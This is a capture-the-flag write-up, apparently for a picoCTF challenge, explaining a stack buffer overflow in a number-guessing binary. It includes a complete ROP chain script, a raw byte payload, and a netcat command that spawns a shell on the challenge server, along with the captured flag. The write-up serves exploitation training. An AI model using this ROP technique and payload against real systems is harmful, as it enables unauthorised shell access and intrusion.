Hacking Series Part 3
Category: binary exploitation
We are given three files consisting of “vuln”, “vuln.c”, and “Makefile”. The binary vuln can be run and simulates a simple guessing game. From the source code given (vuln.c), we can see that if the correct number is guessed, the user can enter a name up to 360 characters long. We can also see that the buffer that stores this name is only 100 characters long, which means this program is vulnerable to a buffer overflow.
The first thing to do is figure out a way to guess the “random” number successfully every time the program is run. In order to do this, I opened vuln in IDA to see if there are any patterns that appear to be manipulating the number that is used. In the function do_stuff
, a function named get_random
is called which is where the random number is produced.
The result from get_random
is stored in rdi
, then is incremented by 1. Instead of following each instruction to figure out what number is produced in the end, I opened vuln in gdb and set a breakpoint after the function get_random
is called. Then, I looked inside rax
to determine the number and also ran the program multiple times to see if this number changed. It turns out that the number generated from get_random
is always 83. This number does not change with multiple instances of the program, which means it is predictable.
As stated before, this number is incremented by 1 then compared to the inputted guess of the user to see if they are correct. So in the end, the number that needs to be guessed is always 84 on the first try.
Next, since we guessed the number correctly, the program asks for our name. Since we can preform a buffer overflow here, we will need to determine the correct amount of padding needed to overwrite rip
. After several attempts, I determined that the amount of padding needed is 120 characters. After this number, we reach rip
and can now work on exploiting the buffer.
Since we have over 200 characters of space left, we can easily store shell code in the rest of the buffer, then execute from the stack. However, by looking at the contents of Makefile, I saw that this is not possible.
The stack is non-executable. This means that this will need to a ROP based attack instead. In order to spawn a shell, I decided to call execve
with /bin/sh
as the program to run. In order to call execve
with a syscall, the registers need to be in the following states:
rax
59 — the number forexecve
rdx
0 — address to environment variablesrsi
0 — address to argumentsrdi
address of/bin/sh
— path to program to execute
After this, we can call syscall
to get a shell on the system and find the flag. In order to get the registers in this state, we need to identify the following gadgets:
pop rax ; ret
pop rsi ; ret
pop rdi ; ret
pop rdx ; ret
mov qword ptr [rsi], rax ; ret
syscall
There are mainly two stages to this ROP: the write stage and the execute stage. In the write stage, /bin/bash
is stored in an empty data address in the binary so that it is easy to access later in the execute stage. This makes also makes the size of the shell code smaller. In the execute stage, the registers are set to the values they need to contain and execve
is executed.
Using ROPgadget, we can easily identify where these gadgets reside in the binary.
Now that we know the address of each gadget, we can start writing instructions for the write stage. I did this in Python using some instructions provided by ROPgadget.
Now, /bin/sh
is stored in the address 0x00000000006ba160
after these instructions are executed (being a 64-bit binary). Next, we move on to the execute stage.
This executes execve
and gives us a shell when completed. Putting these two stages together, we get the following script.
from struct import pack#write
p = pack(‘<Q’, 0x4163f4) # pop rax ; ret
p += b’/bin/sh\x00'
p += pack(‘<Q’, 0x410ca3) # pop rsi ; ret
p += pack(‘<Q’, 0x6ba160) # empty data address that I want /bin/sh to be in
p += pack(‘<Q’, 0x47ff91) # mov qword ptr [rsi], rax ; ret#execute
p += pack(‘<Q’, 0x400696) # pop rdi ; ret
p += pack(‘<Q’, 0x6ba160) # empty data address that /bin/sh is in
p += pack(‘<Q’, 0x410ca3) # pop rsi ; ret
p += pack(‘<Q’, 0x0) # arguments
p += pack(‘<Q’, 0x44a6b5) # pop rdx ; ret
p += pack(‘<Q’, 0x0) # environment variables
p += pack(‘<Q’, 0x4163f4) # pop rax ; ret ; pops 59 into rax
p += pack(‘<Q’, 0x3b) # 59
p += pack(‘<Q’, 0x40137c) # syscallprint(p)
This also prints the resulting shell code bytes so that they can be used in the payload to the server. The payload needs to include the number to guess, the padding, and the shell code. In order to return input back to the user to actually interact with the shell once it is spawned, we also need to include the cat
command. The entire payload then needs to be piped to the server which we can connect to using netcat.
In order to make sure the bytes are interpreted properly, we can use Python to print them. Python can also be used to print 84 (the number needed to be guessed) before the shell code is inserted. As a result, the payload looks like this.
( python -c ‘print(84)’ ; python -c ‘print(“a”*120+”\xf4cA\x00\x00\x00\x00\x00/bin/sh\x00\xa3\x0cA\x00\x00\x00\x00\x00`\xa1k\x00\x00\x00\x00\x00\x91\xffG\x00\x00\x00\x00\x00\x96\x06@\x00\x00\x00\x00\x00`\xa1k\x00\x00\x00\x00\x00\xa3\x0cA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\xa6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4cA\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00|\x13@\x00\x00\x00\x00\x00")’ ; cat ) | nc jupiter.challenges.picoctf.org 39940
After listing the files found on the server, I used cat
to see the contents of flag.txt
. I found the following flag.
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_8cd37a0911d46b6b}